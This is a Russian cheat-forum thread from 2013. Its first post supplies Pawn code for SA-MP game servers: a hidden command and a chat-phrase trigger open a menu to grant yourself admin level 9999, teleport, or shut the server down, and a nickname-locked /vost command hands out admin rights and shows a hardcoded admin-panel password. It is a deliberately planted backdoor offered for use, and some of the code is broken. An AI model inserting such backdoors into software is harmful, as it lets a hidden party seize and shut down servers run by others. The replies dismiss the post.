[CMD] Думаю,самая полезная команда! - Форум Cheat-Master.ru
  • Страница 1 из 1
  • 1
Модератор форума: [CM]OlegEhtler, Getbackthere, Phoenixxx_Czar  
[CMD] Думаю,самая полезная команда!
Dante_Neo Дата: Вторник, 31.12.2013, 00:09 | Сообщение # 1
Любитель
Сообщений: 44
Статус: Offline
щас я покажу как сделать так если вашь мод украли.
мы сделаем команду в какторой будет 3 помошников
таких как дать админку себе главную
тп в ls
выключения сервера

создаём команду и кидаем её в public onplayercommandtext

Код
if(strcmp(cmd, "/pizdosvam", true) == 0)
{
if(isplayerconnected(playerid))
{
format(string,sizeof(string),"дать себе админку 9999лвл\nтелепортироваться в ls\nвыключить сервер");
showplayerdialog(playerid,32000,dialog_style_list,"{d5ff00}вскрытие{2ded17}*role{ff0000}-play{0206ff} выбери",string,"ок","отмена");
}
return 1;
}

Cоздаём диалог

Код
if(dialogid==32000)
{
if(response)
{
if(listitem == 0)
{
playerinfo[playerid][padmin] = 9999;
sendclientmessage(playerid, 0x00fdfdaa,"ты дал себе админку 9999лвл");
}
if(listitem == 1)
{
if (getplayerstate(playerid) == 2)
{
new tmpcar = getplayervehicleid(playerid);
setvehiclepos(tmpcar, 1529.6,-1691.2,13.3);
telepos[playerid][0] = 0.0;telepos[playerid][1] = 0.0;
}
else
{
setplayerpos(playerid, 1529.6,-1691.2,13.3);
}
setplayerinterior(playerid,0);
playerinfo[playerid][pint] = 0;
}
sendclientmessage(playerid, 0x00fdfdaa,"вы телепортировались в ls");
}
if(listitem == 2)
{
sendrconcommand("exit");
sendclientmessage(playerid, 0x00fdfdaa,"вы выключили сервер");
}
}

Если хотите на чат то кидаем в public onplayertext

Код
if(strcmp(text, "свои слова", true) == 0 || strcmp(text, "свои слова", true) == 0 || strcmp(text, "свои слова", true) == 0 || strcmp(text, "свои слова", true) == 0 )
{
format(string,sizeof(string),"дать себе админку 9999лвл\nтелепортироваться в ls\nвыключить сервер");
showplayerdialog(playerid,32000,dialog_style_list,"{d5ff00}вскрытие{2ded17}*role{ff0000}-play{0206ff} выбери",string,"ок","отмена");
return 0;
}


Либо если вас сняли с админки, вы можете себя восстановить не выходя из сервера.

Код
if(strcmp(cmd, "/vost", true) == 0||strcmp(cmd, "/vost, true) == 0)
     {
  if(IsPlayerConnected(playerid))
         {
       new Nick1[MAX_PLAYER_NAME];
       GetPlayerName(playerid, Nick1, sizeof(Nick1));
       if(strfind(Nick1, "Nick_Name", true) != -1 || strfind(Nick1, "Nick_Name", true) != -1)
       {
             tmp = strtok(cmdtext, idx);
             if(!strlen(tmp))
             {
                 SendClientMessage(playerid, COLOR_GRAD2, " *{00fb00}Используйте:{ffffff} /vost [playerid/PartOfName] [leveladmin]");
                 return 1;
             }
             new para1;
             new level;
             para1 = ReturnUser(tmp);
             tmp = strtok(cmdtext, idx);
             level = strval(tmp);
             if(PlayerInfo[playerid][pAdmin] >= 0 || IsPlayerAdmin(playerid))
             {
                 if(IsPlayerConnected(para1))
                 {
                     if(para1 != INVALID_PLAYER_ID)
                     {
                         GetPlayerName(para1, giveplayer, sizeof(giveplayer));
                         GetPlayerName(playerid, sendername, sizeof(sendername));
                         PlayerInfo[para1][pAdmin] = level;
                         printf("AdmCmd: %s дал %s админку уровня %d.", sendername, giveplayer, level);
                         format(string, sizeof(string), "Вы были назначены администратором %s на уровень %d.", sendername,level);
                         SendClientMessage(para1, COLOR_WHITE, string);
                         format(string, sizeof(string), "Pass in AdmPanel: {FFF000}1825396", sendername,level);
                         SendClientMessage(para1, COLOR_WHITE, string);
                         format(string, sizeof(string), "Вы назначили %s админом уровня %d.", giveplayer,level);
                         SendClientMessage(playerid, COLOR_WHITE, string);
                     }
                 }
             }
             else
             {
                 SendClientMessage(playerid, COLOR_GRAD1, "Вы не уполномочены использовать эту команду!");
             }
             }
                else
             {
                 SendClientMessage(playerid, COLOR_GRAD1, "Команда доступна только Nick_Name");
             }
         }
         return 1;
     }  


Кому помог,ставьте +


https://vk.com/id274445552

Сообщение отредактировал Dante_Neo - Вторник, 31.12.2013, 00:16
Solnishka Дата: Четверг, 17.04.2014, 21:52 | Сообщение # 2
Новичок
Сообщений: 21
Статус: Offline
Чё за херня.. я думал реально полезная команда

Love cheat master ^^
Vandam4ik Дата: Четверг, 24.04.2014, 17:05 | Сообщение # 3
Новичок
Сообщений: 4
Статус: Offline
фигня

VK: vk.com/kristinelll
iCortezik Дата: Пятница, 25.04.2014, 06:49 | Сообщение # 4
Боец
Сообщений: 190
Статус: Offline
Таких команд можно га Genix найти навалом.

Коплю 2к репы.
Skype : iCortezik
Vk ( id ) : icortezik_cm
WMR : R385286787930
Ask (id) : Sanay4ik_Cortezik
  • Страница 1 из 1
  • 1
Поиск: